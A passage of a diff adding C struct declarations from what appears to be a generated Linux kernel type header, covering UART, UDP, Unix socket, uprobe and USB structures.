write_cnt; + u8 *write_buf; + struct list_head tty_files; + struct work_struct SAK_work; +}; + +struct tx_desc { + __le32 opts1; + __le32 opts2; +}; + +struct txdone_entry_desc { + unsigned long flags; + int retry; +}; + +struct txentry_desc { + unsigned long flags; + u16 length; + u16 header_length; + union { + struct { + u16 length_high; + u16 length_low; + u16 signal; + u16 service; + enum ifs ifs; + } plcp; + struct { + u16 mcs; + u8 stbc; + u8 ba_size; + u8 mpdu_density; + enum txop txop; + int wcid; + } ht; + } u; + enum rate_modulation rate_mode; + short retry_limit; + enum cipher cipher; + u16 key_idx; + u16 iv_offset; + u16 iv_len; +}; + +struct txq_info { + struct fq_tin tin; + struct codel_vars def_cvars; + struct codel_stats cstats; + u16 schedule_round; + struct list_head schedule_order; + struct sk_buff_head frags; + unsigned long flags; + struct ieee80211_txq txq; +}; + +struct typec_connector { + void (*attach)(struct typec_connector *, struct device *); + void (*deattach)(struct typec_connector *, struct device *); +}; + +struct u32_fract { + __u32 numerator; + __u32 denominator; +}; + +struct uart_8250_em485 { + struct hrtimer start_tx_timer; + struct hrtimer stop_tx_timer; + struct hrtimer *active_timer; + struct uart_8250_port *port; + unsigned int tx_stopped: 1; +}; + +struct uart_8250_ops { + int (*setup_irq)(struct uart_8250_port *); + void (*release_irq)(struct uart_8250_port *); + void (*setup_timer)(struct uart_8250_port *); +}; + +struct mctrl_gpios; + +struct uart_8250_port { + struct uart_port port; + struct timer_list timer; + struct list_head list; + u32 capabilities; + u16 bugs; + unsigned int tx_loadsz; + unsigned char acr; + unsigned char fcr; + unsigned char ier; + unsigned char lcr; + unsigned char mcr; + unsigned char cur_iotype; + unsigned int rpm_tx_active; + unsigned char canary; + unsigned char probe; + struct mctrl_gpios *gpios; + u16 lsr_saved_flags; + u16 lsr_save_mask; + unsigned char msr_saved_flags; + struct uart_8250_dma *dma; + const struct uart_8250_ops *ops; + u32 (*dl_read)(struct uart_8250_port *); + void (*dl_write)(struct uart_8250_port *, u32); + struct uart_8250_em485 *em485; + void (*rs485_start_tx)(struct uart_8250_port *); + void (*rs485_stop_tx)(struct uart_8250_port *); + struct delayed_work overrun_backoff; + u32 overrun_backoff_time_ms; +}; + +struct uart_driver { + struct module *owner; + const char *driver_name; + const char *dev_name; + int major; + int minor; + int nr; + struct console *cons; + struct uart_state *state; + struct tty_driver *tty_driver; +}; + +struct uart_match { + struct uart_port *port; + struct uart_driver *driver; +}; + +struct uart_ops { + unsigned int (*tx_empty)(struct uart_port *); + void (*set_mctrl)(struct uart_port *, unsigned int); + unsigned int (*get_mctrl)(struct uart_port *); + void (*stop_tx)(struct uart_port *); + void (*start_tx)(struct uart_port *); + void (*throttle)(struct uart_port *); + void (*unthrottle)(struct uart_port *); + void (*send_xchar)(struct uart_port *, char); + void (*stop_rx)(struct uart_port *); + void (*start_rx)(struct uart_port *); + void (*enable_ms)(struct uart_port *); + void (*break_ctl)(struct uart_port *, int); + int (*startup)(struct uart_port *); + void (*shutdown)(struct uart_port *); + void (*flush_buffer)(struct uart_port *); + void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); + void (*set_ldisc)(struct uart_port *, struct ktermios *); + void (*pm)(struct uart_port *, unsigned int, unsigned int); + const char * (*type)(struct uart_port *); + void (*release_port)(struct uart_port *); + int (*request_port)(struct uart_port *); + void (*config_port)(struct uart_port *, int); + int (*verify_port)(struct uart_port *, struct serial_struct *); + int (*ioctl)(struct uart_port *, unsigned int, unsigned long); +}; + +struct uart_state { + struct tty_port port; + enum uart_pm_state pm_state; + atomic_t refcount; + wait_queue_head_t remove_wait; + struct uart_port *uart_port; +}; + +struct ubuf_info_msgzc { + struct ubuf_info ubuf; + union { + struct { + unsigned long desc; + void *ctx; + }; + struct { + u32 id; + u16 len; + u16 zerocopy: 1; + u32 bytelen; + }; + }; + struct mmpin mmp; +}; + +struct ubuf_info_ops { + void (*complete)(struct sk_buff *, struct ubuf_info *, bool); + int (*link_skb)(struct sk_buff *, struct ubuf_info *); +}; + +struct ucode_cpu_info { + struct cpu_signature cpu_sig; + void *mc; +}; + +struct ucode_patch { + struct list_head plist; + void *data; + unsigned int size; + u32 patch_id; + u16 equiv_cpu; +}; + +struct ucounts { + struct hlist_node node; + struct user_namespace *ns; + kuid_t uid; + atomic_t count; + atomic_long_t ucount[10]; + atomic_long_t rlimit[4]; +}; + +struct ucred { + __u32 pid; + __u32 uid; + __u32 gid; +}; + +struct udp_sock { + struct inet_sock inet; + unsigned long udp_flags; + int pending; + __u8 encap_type; + __u16 len; + __u16 gso_size; + __u16 pcslen; + __u16 pcrlen; + int (*encap_rcv)(struct sock *, struct sk_buff *); + void (*encap_err_rcv)(struct sock *, struct sk_buff *, int, __be16, u32, u8 *); + int (*encap_err_lookup)(struct sock *, struct sk_buff *); + void (*encap_destroy)(struct sock *); + struct sk_buff * (*gro_receive)(struct sock *, struct list_head *, struct sk_buff *); + int (*gro_complete)(struct sock *, struct sk_buff *, int); + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct sk_buff_head reader_queue; + int forward_deficit; + int forward_threshold; + bool peeking_with_offset; + long: 64; + long: 64; + long: 64; +}; + +struct udp6_sock { + struct udp_sock udp; + struct ipv6_pinfo inet6; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct udp_dev_scratch { + u32 _tsize_state; + u16 len; + bool is_linear; + bool csum_unnecessary; +}; + +struct udp_hslot { + struct hlist_head head; + int count; + spinlock_t lock; +}; + +struct udp_mib { + unsigned long mibs[10]; +}; + +struct udp_seq_afinfo { + sa_family_t family; + struct udp_table *udp_table; +}; + +struct udp_skb_cb { + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + } header; + __u16 cscov; + __u8 partial_cov; +}; + +struct udp_table { + struct udp_hslot *hash; + struct udp_hslot *hash2; + unsigned int mask; + unsigned int log; +}; + +struct udp_tunnel_info { + unsigned short type; + sa_family_t sa_family; + __be16 port; + u8 hw_priv; +}; + +struct udp_tunnel_nic_table_info { + unsigned int n_entries; + unsigned int tunnel_types; +}; + +struct udp_tunnel_nic_shared; + +struct udp_tunnel_nic_info { + int (*set_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); + int (*unset_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); + int (*sync_table)(struct net_device *, unsigned int); + struct udp_tunnel_nic_shared *shared; + unsigned int flags; + struct udp_tunnel_nic_table_info tables[4]; +}; + +struct udp_tunnel_nic_ops { + void (*get_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); + void (*set_port_priv)(struct net_device *, unsigned int, unsigned int, u8); + void (*add_port)(struct net_device *, struct udp_tunnel_info *); + void (*del_port)(struct net_device *, struct udp_tunnel_info *); + void (*reset_ntf)(struct net_device *); + size_t (*dump_size)(struct net_device *, unsigned int); + int (*dump_write)(struct net_device *, unsigned int, struct sk_buff *); +}; + +struct udp_tunnel_nic_shared { + struct udp_tunnel_nic *udp_tunnel_nic_info; + struct list_head devices; +}; + +struct udphdr { + __be16 source; + __be16 dest; + __be16 len; + __sum16 check; +}; + +struct uefi_cnv_common_step_data { + u8 revision; + u8 step_mode; + u8 cnvi_eq_channel; + u8 cnvr_eq_channel; + u8 radio1; + u8 radio2; +}; + +struct uefi_cnv_var_eckv { + u8 revision; + u32 ext_clock_valid; +} __attribute__((packed)); + +struct uefi_sar_profile { + struct iwl_sar_profile_chain chains[4]; +}; + +struct uefi_cnv_var_ewrd { + u8 revision; + u32 mode; + u32 num_profiles; + struct uefi_sar_profile sar_profiles[3]; +} __attribute__((packed)); + +struct uefi_cnv_var_general_cfg { + u8 revision; + u32 functions[32]; +} __attribute__((packed)); + +struct uefi_cnv_var_ppag { + u8 revision; + u32 ppag_modes; + struct iwl_ppag_chain ppag_chains[2]; +} __attribute__((packed)); + +struct uefi_cnv_var_puncturing_data { + u8 revision; + u32 puncturing; +} __attribute__((packed)); + +struct uefi_cnv_var_splc { + u8 revision; + u32 default_pwr_limit; +} __attribute__((packed)); + +struct uefi_cnv_var_wgds { + u8 revision; + u8 num_profiles; + struct iwl_geo_profile geo_profiles[8]; +}; + +struct uefi_cnv_var_wrdd { + u8 revision; + u32 mcc; +} __attribute__((packed)); + +struct uefi_cnv_var_wrds { + u8 revision; + u32 mode; + struct uefi_sar_profile sar_profile; +} __attribute__((packed)); + +struct uefi_cnv_var_wtas { + u8 revision; + u32 tas_selection; + u8 black_list_size; + u16 black_list[16]; +} __attribute__((packed)); + +struct uefi_cnv_wlan_sgom_data { + u8 revision; + u8 offset_map[338]; +}; + +struct uefi_cnv_wlan_uats_data { + u8 revision; + u8 offset_map[338]; +}; + +struct uefi_cnv_wlan_wbem_data { + u8 revision; + u32 wbem_320mhz_per_mcc; +} __attribute__((packed)); + +struct uevent_sock { + struct list_head list; + struct sock *sk; +}; + +struct ulist_iterator { + struct list_head *cur_list; +}; + +struct ulist_node { + u64 val; + u64 aux; + struct list_head list; + struct rb_node rb_node; +}; + +struct umd_info { + const char *driver_name; + struct file *pipe_to_umh; + struct file *pipe_from_umh; + struct path wd; + struct pid *tgid; +}; + +struct uncached_list { + spinlock_t lock; + struct list_head head; +}; + +struct uncharge_gather { + struct mem_cgroup *memcg; + unsigned long nr_memory; + unsigned long pgpgout; + unsigned long nr_kmem; + int nid; +}; + +struct uncore_event_desc { + struct device_attribute attr; + const char *config; +}; + +struct uncore_global_discovery { + union { + u64 table1; + struct { + u64 type: 8; + u64 stride: 8; + u64 max_units: 10; + u64 __reserved_1: 36; + u64 access_type: 2; + }; + }; + u64 ctl; + union { + u64 table3; + struct { + u64 status_offset: 8; + u64 num_status: 16; + u64 __reserved_2: 40; + }; + }; +}; + +struct uncore_iio_topology { + int pci_bus_no; + int segment; +}; + +struct uncore_unit_discovery { + union { + u64 table1; + struct { + u64 num_regs: 8; + u64 ctl_offset: 8; + u64 bit_width: 8; + u64 ctr_offset: 8; + u64 status_offset: 8; + u64 __reserved_1: 22; + u64 access_type: 2; + }; + }; + u64 ctl; + union { + u64 table3; + struct { + u64 box_type: 16; + u64 box_id: 16; + u64 __reserved_2: 32; + }; + }; +}; + +struct uncore_upi_topology { + int die_to; + int pmu_idx_to; + int enabled; +}; + +struct uni_pagedict { + u16 **uni_pgdir[32]; + unsigned long refcount; + unsigned long sum; + unsigned char *inverse_translations[4]; + u16 *inverse_trans_unicode; +}; + +struct unipair; + +struct unimapdesc { + unsigned short entry_ct; + struct unipair __attribute__((btf_type_tag("user"))) *entries; +}; + +struct unipair { + unsigned short unicode; + unsigned short fontpos; +}; + +struct unix_address { + refcount_t refcnt; + int len; + struct sockaddr_un name[0]; +}; + +struct unix_edge { + struct unix_sock *predecessor; + struct unix_sock *successor; + struct list_head vertex_entry; + struct list_head stack_entry; +}; + +struct unix_skb_parms { + struct pid *pid; + kuid_t uid; + kgid_t gid; + struct scm_fp_list *fp; + u32 consumed; +}; + +struct unix_vertex; + +struct unix_sock { + struct sock sk; + struct unix_address *addr; + struct path path; + struct mutex iolock; + struct mutex bindlock; + struct sock *peer; + struct sock *listener; + struct unix_vertex *vertex; + spinlock_t lock; + long: 64; + struct socket_wq peer_wq; + wait_queue_entry_t peer_wake; + struct scm_stat scm_stat; + struct sk_buff *oob_skb; +}; + +struct unix_stream_read_state { + int (*recv_actor)(struct sk_buff *, int, int, struct unix_stream_read_state *); + struct socket *socket; + struct msghdr *msg; + struct pipe_inode_info *pipe; + size_t size; + int flags; + unsigned int splice_flags; +}; + +struct unix_vertex { + struct list_head edges; + struct list_head entry; + struct list_head scc_entry; + unsigned long out_degree; + unsigned long index; + unsigned long scc_index; +}; + +struct unlink_vma_file_batch { + int count; + struct vm_area_struct *vmas[8]; +}; + +struct unsol_bcast_probe_resp_data { + struct callback_head callback_head; + int len; + u8 data[0]; +}; + +struct unwind_state { + struct stack_info stack_info; + unsigned long stack_mask; + struct task_struct *task; + int graph_idx; + struct llist_node *kr_cur; + bool error; + bool signal; + bool full_regs; + unsigned long sp; + unsigned long bp; + unsigned long ip; + struct pt_regs *regs; + struct pt_regs *prev_regs; +}; + +struct update_classid_context { + u32 classid; + unsigned int batch; +}; + +union upper_chunk { + union upper_chunk *next; + union lower_chunk *data[256]; +}; + +struct uprobe { + struct rb_node rb_node; + refcount_t ref; + struct rw_semaphore register_rwsem; + struct rw_semaphore consumer_rwsem; + struct list_head pending_list; + struct list_head consumers; + struct inode *inode; + struct callback_head rcu; + loff_t offset; + loff_t ref_ctr_offset; + unsigned long flags; + struct arch_uprobe arch; +}; + +struct uprobe_cpu_buffer { + struct mutex mutex; + void *buf; + int dsize; +}; + +struct uprobe_dispatch_data { + struct trace_uprobe *tu; + unsigned long bp_addr; +}; + +struct uprobe_task { + enum uprobe_task_state state; + union { + struct { + struct arch_uprobe_task autask; + unsigned long vaddr; + }; + struct { + struct callback_head dup_xol_work; + unsigned long dup_xol_addr; + }; + }; + struct uprobe *active_uprobe; + unsigned long xol_vaddr; + struct arch_uprobe *auprobe; + struct return_instance *return_instances; + unsigned int depth; +}; + +struct uprobe_trace_entry_head { + struct trace_entry ent; + unsigned long vaddr[0]; +}; + +struct uprobe_xol_ops { + bool (*emulate)(struct arch_uprobe *, struct pt_regs *); + int (*pre_xol)(struct arch_uprobe *, struct pt_regs *); + int (*post_xol)(struct arch_uprobe *, struct pt_regs *); + void (*abort)(struct arch_uprobe *, struct pt_regs *); +}; + +typedef void (*usb_complete_t)(struct urb *); + +struct usb_iso_packet_descriptor { + unsigned int offset; + unsigned int length; + unsigned int actual_length; + int status; +}; + +struct urb { + struct kref kref; + int unlinked; + void *hcpriv; + atomic_t use_count; + atomic_t reject; + struct list_head urb_list; + struct list_head anchor_list; + struct usb_anchor *anchor; + struct usb_device *dev; + struct usb_host_endpoint *ep; + unsigned int pipe; + unsigned int stream_id; + int status; + unsigned int transfer_flags; + void *transfer_buffer; + dma_addr_t transfer_dma; + struct scatterlist *sg; + int num_mapped_sgs; + int num_sgs; + u32 transfer_buffer_length; + u32 actual_length; + unsigned char *setup_packet; + dma_addr_t setup_dma; + int start_frame; + int number_of_packets; + int interval; + int error_count; + void *context; + usb_complete_t complete; + struct usb_iso_packet_descriptor iso_frame_desc[0]; +}; + +struct xhci_segment; + +struct xhci_td { + struct list_head td_list; + struct list_head cancelled_td_list; + int status; + enum xhci_cancelled_td_status cancel_status; + struct urb *urb; + struct xhci_segment *start_seg; + union xhci_trb *first_trb; + union xhci_trb *last_trb; + struct xhci_segment *last_trb_seg; + struct xhci_segment *bounce_seg; + bool urb_length_set; + bool error_mid_td; +}; + +struct urb_priv { + int num_tds; + int num_tds_done; + struct xhci_td td[0]; +}; + +struct uring_cache { + struct io_uring_sqe sqes[2]; +}; + +struct us_data; + +typedef int (*trans_cmnd)(struct scsi_cmnd *, struct us_data *); + +typedef int (*trans_reset)(struct us_data *); + +typedef void (*proto_cmnd)(struct scsi_cmnd *, struct us_data *); + +struct usb_sg_request { + int status; + size_t bytes; + spinlock_t lock; + struct usb_device *dev; + int pipe; + int entries; + struct urb **urbs; + int count; + struct completion complete; +}; + +typedef void (*extra_data_destructor)(void *); + +typedef void (*pm_hook)(struct us_data *, int); + +struct us_unusual_dev; + +struct us_data { + struct mutex dev_mutex; + struct usb_device *pusb_dev; + struct usb_interface *pusb_intf; + const struct us_unusual_dev *unusual_dev; + u64 fflags; + unsigned long dflags; + unsigned int send_bulk_pipe; + unsigned int recv_bulk_pipe; + unsigned int send_ctrl_pipe; + unsigned int recv_ctrl_pipe; + unsigned int recv_intr_pipe; + char *transport_name; + char *protocol_name; + __le32 bcs_signature; + u8 subclass; + u8 protocol; + u8 max_lun; + u8 ifnum; + u8 ep_bInterval; + trans_cmnd transport; + trans_reset transport_reset; + proto_cmnd proto_handler; + struct scsi_cmnd *srb; + unsigned int tag; + char scsi_name[32]; + struct urb *current_urb; + struct usb_ctrlrequest *cr; + struct usb_sg_request current_sg; + unsigned char *iobuf; + dma_addr_t iobuf_dma; + struct task_struct *ctl_thread; + struct completion cmnd_ready; + struct completion notify; + wait_queue_head_t delay_wait; + struct delayed_work scan_dwork; + void *extra; + extra_data_destructor extra_destructor; + pm_hook suspend_resume_hook; + int use_last_sector_hacks; + int last_sector_retries; +}; + +struct us_unusual_dev { + const char *vendorName; + const char *productName; + __u8 useProtocol; + __u8 useTransport; + int (*initFunction)(struct us_data *); +}; + +struct usage_priority { + __u32 usage; + bool global; + unsigned int slot_overwrite; +}; + +struct usb2_lpm_parameters { + unsigned int besl; + int timeout; +}; + +struct usb3_lpm_parameters { + unsigned int mel; + unsigned int pel; + unsigned int sel; + int timeout; +}; + +struct usb_anchor { + struct list_head urb_list; + wait_queue_head_t wait; + spinlock_t lock; + atomic_t suspend_wakeups; + unsigned int poisoned: 1; +}; + +struct usb_bos_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __le16 wTotalLength; + __u8 bNumDeviceCaps; +} __attribute__((packed)); + +struct usb_bus { + struct device *controller; + struct device *sysdev; + int busnum; + const char *bus_name; + u8 uses_pio_for_control; + u8 otg_port; + unsigned int is_b_host: 1; + unsigned int b_hnp_enable: 1; + unsigned int no_stop_on_short: 1; + unsigned int no_sg_constraint: 1; + unsigned int sg_tablesize; + int devnum_next; + struct mutex devnum_next_mutex; + unsigned long devmap[2]; + struct usb_device *root_hub; + struct usb_bus *hs_companion; + int bandwidth_allocated; + int bandwidth_int_reqs; + int bandwidth_isoc_reqs; + unsigned int resuming_ports; +}; + +struct usb_cdc_acm_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __u8 bmCapabilities; +}; + +struct usb_cdc_call_mgmt_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __u8 bmCapabilities; + __u8 bDataInterface; +}; + +struct usb_cdc_country_functional_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __u8 iCountryCodeRelDate; + __le16 wCountyCode0; +}; + +struct usb_cdc_dmm_desc { + __u8 bFunctionLength; + __u8 bDescriptorType; + __u8 bDescriptorSubtype; + __u16 bcdVersion; + __le16 wMaxCommand; +} __attribute__((packed)); + +struct usb_cdc_ether_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __u8 iMACAddress; + __le32 bmEthernetStatistics; + __le16 wMaxSegmentSize; + __le16 wNumberMCFilters; + __u8 bNumberPowerFilters; +} __attribute__((packed)); + +struct usb_cdc_header_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __le16 bcdCDC; +} __attribute__((packed)); + +struct usb_cdc_mbim_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __le16 bcdMBIMVersion; + __le16 wMaxControlMessage; + __u8 bNumberFilters; + __u8 bMaxFilterSize; + __le16 wMaxSegmentSize; + __u8 bmNetworkCapabilities; +} __attribute__((packed)); + +struct usb_cdc_mbim_extended_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __le16 bcdMBIMExtendedVersion; + __u8 bMaxOutstandingCommandMessages; + __le16 wMTU; +} __attribute__((packed)); + +struct usb_cdc_mdlm_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __le16 bcdVersion; + __u8 bGUID[16]; +} __attribute__((packed)); + +struct usb_cdc_mdlm_detail_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __u8 bGuidDescriptorType; + __u8 bDetailData[0]; +}; + +struct usb_cdc_ncm_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __le16 bcdNcmVersion; + __u8 bmNetworkCapabilities; +} __attribute__((packed)); + +struct usb_cdc_network_terminal_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __u8 bEntityId; + __u8 iName; + __u8 bChannelIndex; + __u8 bPhysicalInterface; +}; + +struct usb_cdc_obex_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __le16 bcdVersion; +} __attribute__((packed)); + +struct usb_cdc_union_desc; + +struct usb_cdc_parsed_header { + struct usb_cdc_union_desc *usb_cdc_union_desc; + struct usb_cdc_header_desc *usb_cdc_header_desc; + struct usb_cdc_call_mgmt_descriptor *usb_cdc_call_mgmt_descriptor; + struct usb_cdc_acm_descriptor *usb_cdc_acm_descriptor; + struct usb_cdc_country_functional_desc *usb_cdc_country_functional_desc; + struct usb_cdc_network_terminal_desc *usb_cdc_network_terminal_desc; + struct usb_cdc_ether_desc *usb_cdc_ether_desc; + struct usb_cdc_dmm_desc *usb_cdc_dmm_desc; + struct usb_cdc_mdlm_desc *usb_cdc_mdlm_desc; + struct usb_cdc_mdlm_detail_desc *usb_cdc_mdlm_detail_desc; + struct usb_cdc_obex_desc *usb_cdc_obex_desc; + struct usb_cdc_ncm_desc *usb_cdc_ncm_desc; + struct usb_cdc_mbim_desc *usb_cdc_mbim_desc; + struct usb_cdc_mbim_extended_desc *usb_cdc_mbim_extended_desc; + bool phonet_magic_present; +}; + +struct usb_cdc_union_desc { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDescriptorSubType; + __u8 bMasterInterface0; + __u8 bSlaveInterface0; +}; + +struct usb_charger_current { + unsigned int sdp_min; + unsigned int sdp_max; + unsigned int dcp_min; + unsigned int dcp_max; + unsigned int cdp_min; + unsigned int cdp_max; + unsigned int aca_min; + unsigned int aca_max; +}; + +struct usb_class_driver { + char *name; + char * (*devnode)(const struct device *, umode_t *); + const struct file_operations *fops; + int minor_base; +}; + +struct usb_config_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __le16 wTotalLength; + __u8 bNumInterfaces; + __u8 bConfigurationValue; + __u8 iConfiguration; + __u8 bmAttributes; + __u8 bMaxPower; +} __attribute__((packed)); + +struct usb_descriptor_header { + __u8 bLength; + __u8 bDescriptorType; +}; + +struct usb_dev_cap_header { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDevCapabilityType; +}; + +struct usb_dev_state { + struct list_head list; + struct usb_device *dev; + struct file *file; + spinlock_t lock; + struct list_head async_pending; + struct list_head async_completed; + struct list_head memory_list; + wait_queue_head_t wait; + wait_queue_head_t wait_for_resume; + unsigned int discsignr; + struct pid *disc_pid; + const struct cred *cred; + sigval_t disccontext; + unsigned long ifclaimed; + u32 disabled_bulk_eps; + unsigned long interface_allowed_mask; + int not_yet_resumed; + bool suspend_allowed; + bool privileges_dropped; +}; + +struct usb_endpoint_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bEndpointAddress; + __u8 bmAttributes; + __le16 wMaxPacketSize; + __u8 bInterval; + __u8 bRefresh; + __u8 bSynchAddress; +} __attribute__((packed)); + +struct usb_ss_ep_comp_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bMaxBurst; + __u8 bmAttributes; + __le16 wBytesPerInterval; +}; + +struct usb_ssp_isoc_ep_comp_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __le16 wReseved; + __le32 dwBytesPerInterval; +}; + +struct usb_host_endpoint { + struct usb_endpoint_descriptor desc; + struct usb_ss_ep_comp_descriptor ss_ep_comp; + struct usb_ssp_isoc_ep_comp_descriptor ssp_isoc_ep_comp; + long: 0; + struct list_head urb_list; + void *hcpriv; + struct ep_device *ep_dev; + unsigned char *extra; + int extralen; + int enabled; + int streams; + long: 0; +} __attribute__((packed)); + +struct usb_device_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __le16 bcdUSB; + __u8 bDeviceClass; + __u8 bDeviceSubClass; + __u8 bDeviceProtocol; + __u8 bMaxPacketSize0; + __le16 idVendor; + __le16 idProduct; + __le16 bcdDevice; + __u8 iManufacturer; + __u8 iProduct; + __u8 iSerialNumber; + __u8 bNumConfigurations; +}; + +struct usb_host_bos; + +struct usb_host_config; + +struct usb_device { + int devnum; + char devpath[16]; + u32 route; + enum usb_device_state state; + enum usb_device_speed speed; + unsigned int rx_lanes; + unsigned int tx_lanes; + enum usb_ssp_rate ssp_rate; + struct usb_tt *tt; + int ttport; + unsigned int toggle[2]; + struct usb_device *parent; + struct usb_bus *bus; + struct usb_host_endpoint ep0; + struct device dev; + struct usb_device_descriptor descriptor; + struct usb_host_bos *bos; + struct usb_host_config *config; + struct usb_host_config *actconfig; + struct usb_host_endpoint *ep_in[16]; + struct usb_host_endpoint *ep_out[16]; + char **rawdescriptors; + unsigned short bus_mA; + u8 portnum; + u8 level; + u8 devaddr; + unsigned int can_submit: 1; + unsigned int persist_enabled: 1; + unsigned int reset_in_progress: 1; + unsigned int have_langid: 1; + unsigned int authorized: 1; + unsigned int authenticated: 1; + unsigned int lpm_capable: 1; + unsigned int lpm_devinit_allow: 1; + unsigned int usb2_hw_lpm_capable: 1; + unsigned int usb2_hw_lpm_besl_capable: 1; + unsigned int usb2_hw_lpm_enabled: 1; + unsigned int usb2_hw_lpm_allowed: 1; + unsigned int usb3_lpm_u1_enabled: 1; + unsigned int usb3_lpm_u2_enabled: 1; + int string_langid; + char *product; + char *manufacturer; + char *serial; + struct list_head filelist; + int maxchild; + u32 quirks; + atomic_t urbnum; + unsigned long active_duration; + unsigned long connect_time; + unsigned int do_remote_wakeup: 1; + unsigned int reset_resume: 1; + unsigned int port_is_suspended: 1; + int slot_id; + struct usb2_lpm_parameters l1_params; + struct usb3_lpm_parameters u1_params; + struct usb3_lpm_parameters u2_params; + unsigned int lpm_disable_count; + u16 hub_delay; + unsigned int use_generic_driver: 1; +}; + +struct usb_device_id; + +struct usb_device_driver { + const char *name; + bool (*match)(struct usb_device *); + int (*probe)(struct usb_device *); + void (*disconnect)(struct usb_device *); + int (*suspend)(struct usb_device *, pm_message_t); + int (*resume)(struct usb_device *, pm_message_t); + int (*choose_configuration)(struct usb_device *); + const struct attribute_group **dev_groups; + struct device_driver driver; + const struct usb_device_id *id_table; + unsigned int supports_autosuspend: 1; + unsigned int generic_subclass: 1; +}; + +struct usb_device_id { + __u16 match_flags; + __u16 idVendor; + __u16 idProduct; + __u16 bcdDevice_lo; + __u16 bcdDevice_hi; + __u8 bDeviceClass; + __u8 bDeviceSubClass; + __u8 bDeviceProtocol; + __u8 bInterfaceClass; + __u8 bInterfaceSubClass; + __u8 bInterfaceProtocol; + __u8 bInterfaceNumber; + kernel_ulong_t driver_info; +}; + +struct usb_dynids { + spinlock_t lock; + struct list_head list; +}; + +struct usb_driver { + const char *name; + int (*probe)(struct usb_interface *, const struct usb_device_id *); + void (*disconnect)(struct usb_interface *); + int (*unlocked_ioctl)(struct usb_interface *, unsigned int, void *); + int (*suspend)(struct usb_interface *, pm_message_t); + int (*resume)(struct usb_interface *); + int (*reset_resume)(struct usb_interface *); + int (*pre_reset)(struct usb_interface *); + int (*post_reset)(struct usb_interface *); + void (*shutdown)(struct usb_interface *); + const struct usb_device_id *id_table; + const struct attribute_group **dev_groups; + struct usb_dynids dynids; + struct device_driver driver; + unsigned int no_dynamic_id: 1; + unsigned int supports_autosuspend: 1; + unsigned int disable_hub_initiated_lpm: 1; + unsigned int soft_unbind: 1; +}; + +struct usb_dynid { + struct list_head node; + struct usb_device_id id; +}; + +struct usb_ext_cap_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bDevCapabilityType; + __le32 bmAttributes; +} __attribute__((packed)); + +struct usb_phy; + +struct usb_phy_roothub; + +struct usb_hcd { + struct usb_bus self; + struct kref kref; + const char *product_desc; + int speed; + char irq_descr[24]; + struct timer_list rh_timer; + struct urb *status_urb; + struct work_struct wakeup_work; + struct work_struct died_work; + const struct hc_driver *driver; + struct usb_phy *usb_phy; + struct usb_phy_roothub *phy_roothub; + unsigned long flags; + enum usb_dev_authorize_policy dev_policy; + unsigned int rh_registered: 1; + unsigned int rh_pollable: 1; + unsigned int msix_enabled: 1; + unsigned int msi_enabled: 1; + unsigned int skip_phy_initialization: 1; + unsigned int uses_new_polling: 1; + unsigned int has_tt: 1; + unsigned int amd_resume_bug: 1; + unsigned int can_do_streams: 1; + unsigned int tpl_support: 1; + unsigned int cant_recv_wakeups: 1; + unsigned int irq; + void *regs; + resource_size_t rsrc_start; + resource_size_t rsrc_len; + unsigned int power_budget; + struct giveback_urb_bh high_prio_bh; + struct giveback_urb_bh low_prio_bh; + struct mutex *address0_mutex; + struct mutex *bandwidth_mutex; + struct usb_hcd *shared_hcd; + struct usb_hcd *primary_hcd; + struct dma_pool *pool[4]; + int state; + struct gen_pool *localmem_pool; + unsigned long hcd_priv[0]; +}; + +struct usb_ss_cap_descriptor; + +struct usb_ssp_cap_descriptor; + +struct usb_ss_container_id_descriptor; + +struct usb_ptm_cap_descriptor; + +struct usb_host_bos { + struct usb_bos_descriptor *desc; + struct usb_ext_cap_descriptor *ext_cap; + struct usb_ss_cap_descriptor *ss_cap; + struct usb_ssp_cap_descriptor *ssp_cap; + struct usb_ss_container_id_descriptor *ss_id; + struct usb_ptm_cap_descriptor *ptm_cap; +}; + +struct usb_interface_assoc_descriptor; + +struct usb_interface_cache; + +struct usb_host_config { + struct usb_config_descriptor desc; + char *string; + struct usb_interface_assoc_descriptor *intf_assoc[16]; + struct usb_interface *interface[32]; + struct usb_interface_cache *intf_cache[32]; + unsigned char *extra; + int extralen; +}; + +struct usb_interface_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __u8 bInterfaceNumber; + __u8 bAlternateSetting; + __u8 bNumEndpoints; + __u8 bInterfaceClass; + __u8 bInterfaceSubClass; + __u8 bInterfaceProtocol; + __u8 iInterface; +}; + +struct usb_host_interface { + struct usb_interface_descriptor desc; + int extralen; + unsigned char *extra; + struct usb_host_endpoint *endpoint; + char *string; +}; + +struct usb_hub_status { + __le16 wHubStatus; + __le16 wHubChange; 